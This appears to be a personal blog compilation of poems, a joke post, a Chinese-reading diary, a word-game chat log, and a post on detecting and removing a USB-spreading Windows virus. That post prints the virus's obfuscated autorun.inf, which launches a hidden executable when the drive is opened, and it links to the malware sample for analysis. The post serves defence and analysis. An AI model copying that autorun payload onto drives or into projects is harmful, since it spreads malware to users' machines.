Untitled

A little man with a plastic sword,
Nearly as big as he;
Is he a soldier fighting a war,
With enemies no one can see?

What dreams go on in that little head,
In what book may I read the tale,
Of dragons and serpents and battles and lords,
Of warriors hearty and hale?

A middle-aged man with a loaded Glock,
Ugly and deadly, though small;
The enemy fires -- he hears the blast --
He watches his comrade fall.

What thoughts fly 'round in that tired mind,
So weary, wounded and worn?
Does he still know the reason he fights this war?
Does he yet understand why he's torn?

An old man with a wooden cane,
Gnarled and knotted and bent,
Could this be the soldier who fought in that war,
Now wrinkled and weak and spent?

What stories lie in that white-crowned head,
Behind those clouded eyes?
Will anyone hear those memories told,
Before this soldier dies?

-Oladon, 4-20-2007

The Epic Stilldavid Cookie Counter of Epicness

This right here is a Stilldavid Cookie Counter. It uses extremely advanced technology to keep track of the number of cookies stilldavid noms. How does it work, you ask? When stilldavid noms a cookie, you push the button. At this point the Epic Stilldavid Cookie Counter assimilates all the data in the universe, calculates the Bromlean Numerical Coefficient of Universal Cookielessness, and subtracts from the previously calculated value to come up with the number of cookies stilldavid has eaten. Code is here.

Pain

My heart is breaking, burning, aching;
An ocean of tears remain unshed.
My mind is flying, fleeing, dying;
Wondering what's been left unsaid.

And in the pain and in the fear,
I "know" that somehow You're still near.
It doesn't help; the pain I feel
Slices my heart like blades of steel.

My face is stolid, silent, solid;
Not a single tear escapes my eye.
My pain is welling, winning, swelling;
I turn, that none should see my sigh.

Let's Read Chinese!

So I was shopping at Family Mart the other day and saw this novel. The title and cover art attracted me, and since I've been looking for a good book to read for a while now, I figured "hey, $6, why not." Yesterday I bought it and began to read a bit, but discovered something missing.


Today, armed with sticky notes, pencil, exacto-blade, and nciku.com, I proceeded to note the words I didn't know. The first page didn't look so good for my chances at understanding and being able to enjoy this novel. The second page was a bit better. I'll try to keep everyone updated as I progress -- at this point, I'm quite intrigued by the novel and I'm understanding it pretty well (with nciku.com handy).

I've uploaded a picture of the first two pages for everyone to have a chuckle.

Pay не 來

он לא 來;
y "why," 說 I.
אין у меня clue,
אולי estudia 書。
Pienso что 他
всё olvida,
什麼都 a הוא
Esta כמו a you;
沒有 один clue.

-- by Oladon.

Nasty USB Virus

While I've found a number of articles on this virus in other languages, I have yet to find any comprehensive reports of it in English (particularly the USB-infecting derivative) -- so here's one to let you all know about this.

Using a personal USB drive in public computing labs is always a hazardous and risky undertaking, but usually the benefits outweigh the risks. Additionally, if you take good care of your drive and keep a UNIX computer handy, it's generally not too hard to minimize the risk and deal with situations when they do (inevitably) arise.

And when the autorun dialog pops up and the top option /isn't/ what it would be if Windows were using your custom autorun.inf, you know you've got a problem. Lately I've discovered one virus in particular which is the subject of this post. I'll talk about detection and removal, then invite analysis of the main executable (renamed to "nissan.___" from "nissan.exe", it can be found here -- download at your own risk).

The virus hid its executable and a Desktop.ini (which I neglected to save) in a system-hidden folder on my USB drive named either KARINA, DRUGIM ("friends"?), or K (all in caps, longer than the others -- sorry, I didn't write this one down). All of these can be seen by doing "dir /A" or "ls -a" (if you have the UNIX CoreUtils installed). The contents and folders can be deleted with "del /A /F FILE" or "rm -rf FILE", but unfortunately that's not the only step involved.

They all create/modify autorun.inf on the USB drive, so that needs to be removed. Additionally, they will have copied their executable to the main hard drive's RECYCLER folder, under a subfolder of "S-1-5-". I find the best way to find them is to use "ls -al *" to list each subfolder's contents. You can then remove them the same way as above.

The last thing to do is remove the registry entries created -- there is a page on that here.

(Note: in order to do the above steps, I had to end explorer.exe and its process tree, which includes nissan.exe, then run cmd and use that. This is because nissan.exe keeps its own executable and autorun.inf in use while running, which it does as part of Winlogon when you run explorer.exe)

I'm interested to hear analysis of the executable -- let me know what you all find.

UPDATE 03-16-2010: Just had another run-in with this virus (I believe it's in the base image of every single lab computer). This time, I copied the autorun.inf it created. You can see that the exe is named differently and contained in a different folder this time -- but it's the same pattern and the autorun.inf is nearly identical.

I:\>cat autorun.inf
[autorun
$STATICSHITfasfSAfwqfjwqLOjFASFjaSLFjWLQfWFJWQLFjWLQjfwlqjfwlqfjILGFJALFJAWLCNASLIKJFWLFJWQFJWlfjWQwqLJFwqFwqJFWLQfjWLQFWQ
open=POGRESHILI///sudbinemi.exe
~dskaldkasjdiwqjdw
action=Open foldero view files usingindowsxplorer
&kjfasFkajfiwfjiwq
!ksoafasfjwifjwif
icon=%SystemRoot%\system32\SHELL32.dll,4
)djsaikfjaikfJWFwfwq
Shell\open\command=POGRESHILI///sudbinemi.exe
fasflwFwFWqkfwofjwWwq
shell\open\command=POGRESHILI///sudbinemi.exe
"mfsakfjasKFJasFajfalsfas
USEAUTOPLAY=1
*asmkddjkaDjAKfjjwlqfjwlqfjWQfjWQJFWQiljfwQ

It Is Good to Be A Geek.

A: I L'd into H, but there is N O there!
B: Because I'm not going to L into H until you finish W your P!
A: *flails*
B: See, if we C now, then I don't think the P will get W!
B: learns
A: *flails*
A: But what if I don't W to W the P?!
B: Well
B: Then
B: I W B B A Y M N G T P W!
B: Y W W T, W Y?
B: T Y S D I!
B: (have fun :P)
A: Hmm... Y W B W?
A: W W Y B?
A: *pokes*
A: *D N W T D I!*
B: Hmm
A: *F*
B: F
B: :p
B: That's all I got :p
A: lol, really?
A: I got all of yours except one word :P
B: Well
B: I assume the Ys are 'you's
B: what was mine?
A: I will be ___ and you may not get the paper written!
A: You wouldn't want that, would you?
A: *thinks you should do it!*
B: Oh wow
B: That's impressive!
A: :D
B: You have one word wrong, sort of
B: But it works
A: hmm
A: the "be"?
A: I wondered about that.
B: Hmm
B: P I S M T H!
B: T N W Y'll G T!
B: Err, last one is T's N W Y'll G T!
A: *peer*
B: W?!
A: You sure it's not T's N W Y'll G?
A: W!
A: P Y S D W??
B: No, I was sure
B: flails
B: has no clue
A: Perhaps you will do what?
B: Hmm
B: F
B: I D't S I W D A :/
A: O!
A: "P I S M T H"?
A: Perhaps you shall do what?!
A: Oh!
A: Perhaps you SHOULD do what?!
B: N, N! I D't S I W D A!!
B: N!
B: F
A: *flails*
B: O!
B: O... S
A: :D
A: Y D!
B: Y W R. B
A: :P
A: T!
B: T!?
A: T!
A: :D
B: W I T?
A: *T*
A: I I A F O G!
A: I I A A S O A
B: F
A: *B*
A: S!
B: I A R B A T, Y K... :/
B: S! :(
A: W S Y D??
A: Y A N S B A T.
A: Y A P G!
B: I S "M T H"
A: *F*
B: B N I D't K W Y A S :(
A: :P
A: T I O!
B: I D't T I'll E F I O, E!
A: *C*
B: C?!
B: F
B: B
B: :(
B: :S
A: Y C D I!
A: :D
B: !!!
B: :P
A: :P
A: So
A: What should you do?
B: Hmm
B: I don't know!
A: Monitor Teh Hamachi?!
A: What shall you perhaps do?!
B: Oh, no
A: Move Teh Hamburgers?
B: I said "make these harder" :p
A: OH! :P
B: A T W, W T!?
A: N, N R!
A: :D
B: :(
B: W A T?
A: O, M A L B!
B: W I I S T I A A T S A N C W A S? W Y U?
B: I D T S!
A: I J M!
A: I M S Y!
B: F "S
B: err, :S
A: :P
B: You couldn't have gotten that one :D
A: I got most of it!
B: What did it say? :P
B: A, M S G E B A L. :(
A: What if I say that I am a ______ and not ______ ______ a _____? Would you understand?!
A: I don't think so!
A: TAD SLEEPY!
B: Oh! Close! It's all wrong between 'a' and the '?'
A: hmm
B: It's irrelevant now, after "A, M S G A L. :(" occured :(
B: occurred*
A: ?
B: :D
B: wins
A: Your something or other...
A: OH!
A: Your settler!
A: grew a leg!
B: eek
A: :P
A: He got eated by a lion
B: :(
B: sigh
A: comfs
B: I started a new game the last time that happened :p
A: I like "grew a leg" better.
A: heh
A: You should try DF!
B: Hmm
B: Eek, no!
B: I I W T A D W Y M S!!
B: beam
B: A Y W Y P?
B: eyes
B: H H H!
B: P
A: *F*
A: "If I were to attempt DF..."
B: P
A: *F*
B: T I R
A: Y!
A: V R!
B: No No
A: :P
B: I = isn't
B: :p
A: Oh
B: Not is
B: :P
A: "This is ridiculous!"
A: :P
B: Oh :p
B: "That isn't right"
A: Hrmph
B: I'm impressed though :p
A: :P
A: If you were to...
A: *ponders*
B: S
B: shakes
A: hmm
B: Wait
B: looks again
A: :P
B: Why do I have 2 'I's?
B: frown
A: Hmm?
A: You only have one
A: You have 2 I'
A: s
A: oh, nm, I read that as T
B: flail
B: I think I worded it a different way now
A: 'I looks like T
A: :P
B: I can only think of a way with one I and an added B now :/
B: S
A: :P
B: O W.
A: You could use words :D
B: W N T W B T E, W I!?
B: Hmm
A: :P
A: I M B!
B: I T I A D Y. :( Y S W O T P!
A: B T W M A U E O
B: flail
B: What word starts with U?
A: !
A: One you've used a lot!
B: use
A: nope
B: you
B: :p
A: No! :P
A: It's 10 letters long!
B: eyes
B: I C T O A :(
A: Y U I A B A!
B: Y T M!! :P
A: B: I T I A D Y. :( Y S W O T P!
A: I can't get that one :(
B: How about:
B: I T I A D Y. :( Y S W O T P-H!
A: *flails*
A: You think you are _____ me
B: I I N G T W I..!
A: ?
B: Hmm
A: O!
A: I I N?
A: :(
A: I W I W! :(
B: What?!
A: I S W "O" T P?
B: H A W U W? :p
A: I said I wish it would :(
B: Oh, flail
B: You are good
B: Y, "O"
A: *frowns*
B: Y P D H "W" C
A: *FLAILS*
B: C
B: Y C D I! :D
A: :P
A: Your paper does have "W" C?
A: A watercloset! My paper needs a watercloset!
B: Wait, what?
B: Not even close :p
A: :P
B: I'm guessing you thought the O didn't make sense?
A: Yus!
A: Y S W O T P... *ponders*
B: Then I said you probably have W wrong if the O doesn't make sense
A: O!
A: O!!!!
A: I S N!
B: ?
A: I see now! :D
B: O!
B: O C :D
B: So that means you'll do it? :P
A: *F*
A: I A H!
A: D Y H A G T E I Y R?
B: Do I have a good time even if I read?
B: Yes, I do
B: Hmm
B: Perhaps you are eating
A: :P
A: !
B: closes Civ and does nothing
A: I am not eating
A: *flails*
A: I asked if you had anything good in your refrigerator!
B: Oh!
A: However, nice alternate reading!
B: So you did say you were hungry!
A: Yes!
A: :P
B: I got one!
A: *claps*
B: That's like... 3 now!
A: We should strip our emails and submit this to xkcd!